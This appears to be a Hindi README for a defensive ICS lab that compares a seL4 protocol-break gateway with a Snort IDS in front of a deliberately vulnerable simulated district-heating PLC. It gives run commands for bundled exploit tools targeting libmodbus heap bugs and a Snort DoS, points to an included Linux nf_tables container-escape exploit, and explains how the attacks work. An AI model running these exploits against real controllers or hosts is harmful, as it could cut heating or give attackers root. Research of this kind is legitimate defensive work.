
रक्षात्मक सुरक्षा डेमो: seL4 माइक्रोकर्नेल गेटवे जो भेद्य ICS को CVE-2019-14462 से सुरक्षित करता है
औद्योगिक नियंत्रण प्रणालियों को साइबर हमलों से बचाने के लिए protocol-break बनाम packet-forwarding आर्किटेक्चर की तुलना करने वाली एक रक्षात्मक सुरक्षा अनुसंधान परियोजना।
दस्तावेज़ीकरण:
- नेटवर्क आर्किटेक्चर - नेटवर्क आरेख और ट्रैफ़िक प्रवाह
- कंटेनर आर्किटेक्चर - डॉकर कंटेनर संबंध
- CVE स्पष्टीकरण - भेद्यता विवरण और हमले के तंत्र
आधुनिक ICS/SCADA प्रणालियों को FrostyGoop जैसे परिष्कृत हमलों का सामना करना पड़ता है, जिसने जनवरी 2024 में Modbus TCP के माध्यम से यूक्रेनी जिला हीटिंग प्रणालियों को निशाना बनाया, जिससे शून्य से नीचे तापमान में 600+ घरों को हीटिंग के बिना छोड़ दिया गया। पारंपरिक सुरक्षा समाधान (फ़ायरवॉल, IDS) packet-forwarding आर्किटेक्चर का उपयोग करते हैं जो ट्रैफ़िक का इन-लाइन निरीक्षण करते हैं लेकिन अंत-से-अंत तक एकल TCP कनेक्शन बनाए रखते हैं।
यह परियोजना एक विकल्प प्रदर्शित करती है: औपचारिक रूप से सत्यापित seL4 माइक्रोकर्नल का उपयोग करने वाला एक protocol-break गेटवे। TCP कनेक्शन समाप्त करके और संरक्षित उपकरणों के लिए नए कनेक्शन स्थापित करने से पहले प्रोटोकॉल सेमेंटिक्स को मान्य करके, यह आर्किटेक्चर मज़बूत सुरक्षा गारंटी प्रदान करता है।
┌─────────────────────────────────────────────────────────────────────────────┐
│ Docker Network: ics-untrusted (192.168.96.0/24) │
│ │
│ ┌───────────────────────┐ ┌───────────────────────┐ │
│ │ seL4 Gateway │ │ Snort IDS │ │
│ │ Port 502 │ │ Port 503 │ │
│ │ │ │ │ │
│ │ • Protocol-break │ │ • Packet-forwarding │ │
│ │ • TCP termination │ │ • Inline inspection │ │
│ │ • Length validation │ │ • Rule-based detection│ │
│ └───────────┬───────────┘ └───────────┬───────────┘ │
│ │ │ │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ Docker Network: ics-protected (192.168.95.0/24) │
│ │ │ │
│ └───────────────┬───────────────┘ │
│ ▼ │
│ ┌───────────────────────────────┐ │
│ │ PLC (District Heating) │ │
│ │ Vulnerable libmodbus 3.1.2 │ │
│ │ Port 5020 (direct access) │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
# Place your seL4 kernel image at:
gateway/sel4-image/capdl-loader-image-arm-qemu-arm-virt
# Build all containers
sudo docker compose build
# Start individual containers
sudo docker compose up plc # PLC only
sudo docker compose up gateway # seL4 gateway + PLC
sudo docker compose up snort # Snort IDS + PLC
# Start all
sudo docker compose up
# Through seL4 gateway (protected - protocol-break)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 502 | xxd
# Through Snort IDS (protected - packet-forwarding)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 503 | xxd
# Direct to PLC (unprotected - vulnerable)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 5020 | xxd
नोट: डिफ़ॉल्ट PLC अब ASAN के साथ CVE-2022-0367 मोड में चलता है। CVE-2019-14462 परीक्षण के लिए
--profile cve14462का उपयोग करें।
PLC जानबूझकर असुरक्षित libmodbus 3.1.2 का उपयोग करता है। यह हमला विश्वसनीय MBAP लंबाई फ़ील्ड का शोषण करता है:
# Start PLC in CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
# Build attack tools
cd cve_tools && make
# Attack unprotected PLC (crashes)
./cve_14462_attack 127.0.0.1 5022
# Attack through seL4 (BLOCKED)
./cve_14462_attack 127.0.0.1 502
# Attack through Snort (DETECTED by Quickdraw rules)
./cve_14462_attack 127.0.0.1 503
modbus_mapping_new_start_address() में एक बाउंड्स-चेकिंग बग फ़ंक्शन कोड 0x17 (रजिस्टर लिखें और पढ़ें) के माध्यम से हीप अंडरफ़्लो की अनुमति देता है:
# Default PLC runs in CVE-2022-0367 mode with ASAN
sudo docker compose up plc
# Build attack tools
cd cve_tools && make
# Attack PLC - ASAN will detect heap-buffer-overflow
./cve_0367_attack 127.0.0.1 5020
# Attack with custom parameters
./cve_0367_attack 127.0.0.1 5020 88 0x4141 # Corrupt tab_registers pointer
./cve_0367_attack 127.0.0.1 5020 72 0xFFFF # Corrupt nb_registers
# Attack through seL4 (BLOCKED - address validation)
./cve_0367_attack 127.0.0.1 502
# Attack through Snort (DETECTED by custom rules)
./cve_0367_attack 127.0.0.1 503
तकनीकी विवरण:
start_registers=100 का उपयोग करता है, मान्य पते 100-109 हैंwrite_address < 100 भेजता है, जिससे नेगेटिव ऐरे इंडेक्स उत्पन्न होता हैmb_mapping स्ट्रक्चर फ़ील्ड को दूषित कर सकता हैSnort 2.9.18 के Modbus प्रीप्रोसेसर में एक इंटीजर ओवरफ़्लो है जो अनंत लूप का कारण बनता है, जिससे IDS से गुजरने वाला सारा ट्रैफ़िक पूरी तरह अवरुद्ध हो जाता है:
# 1. Verify Snort is working (should return Modbus response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 2 localhost 503 | xxd
# 2. Attack the Snort IDS
./cve_20685_attack 127.0.0.1 503
# 3. Verify Snort is frozen (should timeout with NO response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 5 localhost 503 | xxd
# 4. Check Snort CPU (should be 100%)
sudo docker exec ics-snort top -b -n 1 | grep snort
# 5. seL4 is IMMUNE (no Modbus preprocessor to exploit)
./cve_20685_attack 127.0.0.1 502 # No effect on seL4
# 6. Restart Snort after demo
sudo docker compose restart snort
यह विनाशकारी क्यों है: Snort NFQUEUE इनलाइन मोड का उपयोग करता है, जिसका अर्थ है कि Snort के फ़ैसला लौटाने तक पैकेट कर्नल क्यू में रखे जाते हैं। जब Snort हैंग हो जाता है, तो कोई फ़ैसला नहीं लौटाया जाता, और सारा ट्रैफ़िक रुक जाता है - केवल IDS अंधता नहीं, बल्कि सेवा का पूर्ण इनकार।
Linux netfilter nf_tables (कर्नल v5.14-v6.6) में एक use-after-free कंटेनर एस्केप सक्षम करता है:
# Check if host is vulnerable
uname -r # Vulnerable: v5.14 - v6.6 (before patches)
# The exploit is available at:
ls cve_tools/cve-2024-1086/
यह महत्वपूर्ण क्यों है: डॉकर कंटेनर होस्ट कर्नल साझा करते हैं। यदि कोई हमलावर Snort से समझौता करता है (उदा., CVE-2022-20685 के माध्यम से), तो वे कंटेनर से बचने और होस्ट पर रूट प्राप्त करने के लिए CVE-2024-1086 का उपयोग कर सकते हैं। seL4 प्रतिरक्षित है क्योंकि यह Linux नहीं, बल्कि एक न्यूनतम माइक्रोकर्नल चलाता है।
# Full demo with 4 quadrants (PLC, seL4, Snort, User terminal)
./scripts/demo.sh
# Snort-only demo with 3 panes (PLC, Snort, User terminal)
./scripts/demo-snort.sh
# Run automated comparison
./scripts/run_comparison.sh
पता लगाने की दक्षता का बेंचमार्क करने के लिए कई Snort कॉन्फ़िगरेशन उपलब्ध हैं:
# Run Snort with specific profile
sudo docker compose --profile snort-talos up
# Compare detection efficiency
sudo docker compose --profile snort-quickdraw up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-quickdraw down
sudo docker compose --profile snort-combined up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-combined down
Client ────TCP────► Snort ────TCP────► PLC
(same connection flows through)
Client ────TCP1────► seL4 ────TCP2────► PLC
(terminates, validates, new connection)
PLC मल्टी-मास्टर समर्थन के साथ एक जिला हीटिंग नियंत्रक का सिमुलेशन करता है (थ्रेड-प्रति-क्लाइंट आर्किटेक्चर, जो आधुनिक PLC की विशेषता है)।
| मोड | सेवा | पोर्ट | विवरण |
|---|---|---|---|
| CVE-2022-0367 | plc (डिफ़ॉल्ट) | 5020 |
# Default mode (CVE-2022-0367 with ASAN)
sudo docker compose up plc
# CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
CVE-2022-0367 मोड में, रजिस्टर पते 100-109 पर हैं (SCADA उपकरणों में पता 40101 का उपयोग करें):
इस परियोजना में रक्षात्मक सुरक्षा अनुसंधान के लिए जानबूझकर असुरक्षित कोड शामिल है। सुरक्षा अवधारणाओं को प्रदर्शित करने के लिए असुरक्षित libmodbus 3.1.2 और Snort 2.9.18 शामिल किए गए हैं।
उत्पादन वातावरण में असुरक्षित घटकों को तैनात न करें।
केवल अधिकृत रक्षात्मक सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।
| पहलू | Protocol-Break (seL4) | Packet-Forwarding (Snort) |
|---|
| CVE-2019-14462 | अवरुद्ध (लंबाई सत्यापन) | पता लगा (Quickdraw नियम) |
| CVE-2022-0367 | अवरुद्ध (पता सत्यापन) | पता लगा (कस्टम नियम) |
| CVE-2022-20685 | प्रतिरक्षित (कोई प्रीप्रोसेसर नहीं) | असुरक्षित (IDS DoS) |
| CVE-2024-1086 | प्रतिरक्षित (कोई Linux कर्नल नहीं) | असुरक्षित (होस्ट कर्नल साझा करता है) |
| अज्ञात वेरिएंट | अवरुद्ध (संरचनात्मक सत्यापन) | छूट गया (कोई सिग्नेचर नहीं) |
| TCP स्टेट हमले | अवरुद्ध (कनेक्शन समाप्त) | संभव |
| आक्रमण सतह | ~1,000 LoC (माइक्रोकर्नल) | ~500,000 LoC (Linux + Snort) |
| पोर्ट | पथ | आर्किटेक्चर | सुरक्षा |
|---|
| 502 | क्लाइंट → seL4 → PLC | Protocol-break | Modbus संरचना को मान्य करता है |
| 503 | क्लाइंट → Snort → PLC | Packet-forwarding | नियम-आधारित IDS |
| 5020 | क्लाइंट → PLC (ASAN) | सीधा | CVE-2022-0367 मोड |
| 5022 | क्लाइंट → PLC | सीधा | CVE-2019-14462 मोड (प्रोफ़ाइल: cve14462) |
| प्रोफ़ाइल | कमांड | नियम | विवरण |
|---|
| default | docker compose up snort | 12 | Quickdraw (उद्योग मानक) |
| quickdraw | --profile snort-quickdraw | 12 | केवल Digital Bond Quickdraw |
| talos | --profile snort-talos | 40 | modbus_func कीवर्ड्स के साथ Talos-शैली |
| modbus | --profile snort-modbus | 13 | केवल कस्टम CVE पहचान नियम |
| combined | --profile snort-combined | 65 | सभी नियम संयुक्त |
| CVE | Quickdraw | Talos | कस्टम Modbus |
|---|
| CVE-2019-14462 (MBAP लंबाई) | ✅ | ✅ | ✅ |
| CVE-2022-0367 (हीप अंडरफ़्लो) | ❌ | ✅ | ✅ |
| CVE-2022-20685 (Snort DoS) | ❌ | ✅ | ✅ |
| लेखन संचालन | ❌ | ✅ | ✅ |
| टोही | ✅ | ✅ | ✅ |
| DoS फ़ंक्शन कोड | ✅ | ✅ | ❌ |
| निर्देशिका | विवरण |
|---|
gateway/ | seL4 गेटवे कंटेनर (QEMU + seL4 कर्नल) |
snort/ | एकाधिक नियम प्रोफ़ाइलों वाला Snort 2.9.18 IDS (CVE-2022-20685 के प्रति असुरक्षित) |
plc/ | जिला हीटिंग सिमुलेशन (असुरक्षित libmodbus 3.1.2, CVE-2022-0367 मोड) |
cve_tools/ | CVE प्रदर्शनों के लिए आक्रमण उपकरण |
scripts/ | उपयोगिता और प्रयोग स्क्रिप्ट |
docs/ | Mermaid आरेखों के साथ दस्तावेज़ीकरण (नेटवर्क, कंटेनर, CVEs) |
| उपकरण | लक्ष्य | विवरण |
|---|
cve_14462_attack | libmodbus | MBAP लंबाई बेमेल के माध्यम से हीप बफ़र ओवरफ़्लो |
cve_0367_attack | libmodbus | अमान्य लेखन पते के माध्यम से हीप अंडरफ़्लो (FC 0x17) |
cve_20685_attack | Snort | Modbus प्रीप्रोसेसर अनंत लूप (DoS) |
cve-2024-1086/ | Linux कर्नल | nf_tables के माध्यम से विशेषाधिकार वृद्धि (कंटेनर एस्केप) |
| ASAN बिल्ड, पते 100-109 पर रजिस्टर |
| CVE-2019-14462 | plc-14462 | 5022 | सामान्य बिल्ड, पते 0-9 पर रजिस्टर |
| पता | रजिस्टर | विवरण | R/W |
|---|
| 100 | HR[0] | आंतरिक तापमान (°C ÷10) | R |
| 101 | HR[1] | वाल्व कमांड (0-100%) | R/W |
| 102 | HR[2] | तापमान सेटपॉइंट (°C ÷10) | R/W |
| 103 | HR[3] | मोड (0=मैनुअल, 1=ऑटो) | R/W |
| 104 | HR[4] | बाहरी तापमान (°C ÷10) | R |
| 105-109 | HR[5-9] | स्थिति, स्थान, आपूर्ति तापमान, रनटाइम, पावर | R |